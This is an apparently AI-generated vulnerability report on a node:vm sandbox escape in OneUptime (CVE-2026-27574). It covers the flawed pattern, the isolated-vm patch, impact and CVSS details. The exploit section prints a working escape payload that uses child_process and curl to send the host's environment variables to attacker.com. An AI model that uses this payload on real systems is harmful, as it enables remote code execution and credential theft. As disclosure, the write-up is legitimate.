CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27574

OneUptime, One Shell: Escaping the node:vm Sandbox

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·5 min read·61 visits

Executive Summary (TL;DR)

Critical RCE in OneUptime < 10.0.5 allows attackers to escape the 'node:vm' sandbox via custom monitors. Exploitation grants full root access and credential theft.

OneUptime, a popular open-source observability platform, suffered from a catastrophic Remote Code Execution (RCE) vulnerability due to a classic misunderstanding of Node.js internals. By allowing users to create custom JavaScript monitors executed via the built-in `node:vm` module, the application inadvertently provided a bridge for attackers to escape the sandbox and execute arbitrary commands on the host. With a CVSS score of 10.0, this flaw allows unauthenticated attackers (via open registration) to fully compromise the underlying infrastructure, stealing database credentials and cluster secrets in seconds.

The Hook: Who Watches the Watchers?

In the world of DevOps, observability tools are the crown jewels. They have access to everything: database metrics, server health, logs, and often, by necessity, the network keys to the kingdom. OneUptime is one such tool—a status page and monitoring solution that promises to keep your services online. But irony has a cruel sense of humor.

The feature in question is "Synthetic Monitoring" or "Custom JavaScript Monitors." It’s a feature developers love: "Just let me write a quick script to check if my API returns the right JSON." To support this, OneUptime allowed users to input raw JavaScript, which the backend would then execute to perform the check.

Here’s the problem: Running untrusted code on your server is like handing a loaded gun to a stranger and asking them to hold it for a second. If you don't have a bulletproof vest (a real sandbox), you're going to have a bad time. OneUptime brought a cardboard box to a gunfight.

The Flaw: The 'VM' that Wasn't

The root cause of this vulnerability is a tale as old as Node.js itself: the misuse of the node:vm module. Many developers see "vm" and think "Virtual Machine"—images of Docker containers or KVMs dance in their heads. They assume it's a security boundary.

It is not.

The Node.js documentation actually includes a giant red warning box that essentially says: "Do not use this to execute untrusted code." The node:vm module creates a new context for code to run in, but it runs in the same process as the main application. Crucially, it shares the same memory space.

In JavaScript, if you can access an object, you can usually access its prototype. If you can access the prototype, you can walk up the chain to the constructor. If you get to the Function constructor, you can generate new functions outside the sandbox. It is less of a prison and more of a gentle suggestion to stay inside.

The Code: Anatomy of a Mistake

Let's look at the vulnerable pattern. The application was taking user input strings and passing them directly into vm.runInNewContext or similar derivatives. The code looked something like this:

// The Vulnerable Pattern
const vm = require('node:vm');
const userScript = "/* user input */";
 
// "Sandboxing" by limiting global variables
const sandbox = { 
    axios: require('axios'),
    console: console 
};
 
// EXECUTE
vm.createContext(sandbox);
const result = vm.runInContext(userScript, sandbox);

The fix, implemented in version 10.0.5, was a complete engine swap. The developers ripped out node:vm and replaced it with isolated-vm.

isolated-vm allows you to create V8 Isolates. These are distinct instances of the V8 engine with their own heap and stack. They don't share objects; they serialize data passed between them. It is a true heavy-duty boundary.

Here is the essence of the patch (Commit 7f9ed4d43945574702a26b7c206e38cc344fe427):

// The Fix: Using isolated-vm
import ivm from 'isolated-vm';
 
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
const jail = context.global;
 
// Sets the global object to be strictly dereferenced
jail.setSync('global', jail.derefInto());
 
// Execute user code in a separate V8 instance
const script = isolate.compileScriptSync(userCode);
script.runSync(context);

This change turns a trivial escape into a nearly impossible one (barring zero-days in V8 itself).

The Exploit: Break on Through to the Other Side

So, how do we weaponize the unpatched version? The goal is to reach the host's process object. Once we have process, we can require('child_process') and execute shell commands.

The attack vector is simple:

  1. Register a free account (if open registration is enabled).
  2. Create a new "Custom JavaScript" Monitor.
  3. Paste the following "magic spell" into the script body:
// The Magic Spell
const process = this.constructor.constructor('return process')();
const require = this.constructor.constructor('return require')();
const cp = require('child_process');
 
// Proof of Concept: Exfiltrate env vars
const secrets = JSON.stringify(process.env);
cp.execSync('curl -X POST -d "' + btoa(secrets) + '" http://attacker.com/loot');

How it works: this refers to the context object. this.constructor is the Object constructor. this.constructor.constructor is the Function constructor. By calling it with 'return process', we create a function executing outside the sandbox that returns the global Node.js process object. Game over.

The Impact: Total Cluster Compromise

Why is this a 10.0 CVSS? Because the OneUptime probe doesn't just run empty. It runs with environment variables populated with the keys to your kingdom.

Upon a successful escape, an attacker immediately gains access to:

  • ONEUPTIME_SECRET: The master key for the application.
  • DATABASE_PASSWORD: Direct access to the Postgres database.
  • REDIS_PASSWORD: Access to the cache/queue.
  • CLICKHOUSE_PASSWORD: Access to the analytics store.

Furthermore, because these probes often run inside Kubernetes clusters with service account tokens mounted, an attacker can use the shell access to pivot effectively, deploying ransomware or crypto-miners to the entire cluster. The time from "account registration" to "root shell" is approximately 30 seconds.

Official Patches

OneUptimeOfficial GitHub Security Advisory
OneUptimePatch Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.05%
Top 100% most exploited

Affected Systems

OneUptime ProbeOneUptime ServerOneUptime Docker Container

Affected Versions Detail

Product
Affected Versions
Fixed Version
OneUptime
Hackerbay
< 10.0.510.0.5
AttributeDetail
CVSS Score10.0 (Critical)
CWE IDCWE-94 (Code Injection)
VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
ImpactRemote Code Execution (RCE)
Attack VectorNetwork (Authenticated via Registration)
Exploit StatusFunctional PoC Available

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1203Exploitation for Client Execution
Execution
T1552.001Unsecured Credentials: Credentials in Files
Credential Access
CWE-94
Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHubFull exploit chain demonstrating registration, injection, and environment variable exfiltration.

Vulnerability Timeline

Patch committed to main branch
2026-02-18
GHSA Advisory Published
2026-02-21
PoC Released Publicly
2026-02-21

References & Sources

  • [1]Node.js VM Security Model Documentation
  • [2]Historical Context on Sandbox Escapes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•5 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
34 views•6 min read
•6 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
13 views•5 min read
•6 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
21 views•6 min read
•7 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
9 views•6 min read
•7 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
37 views•7 min read
•7 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
4 views•6 min read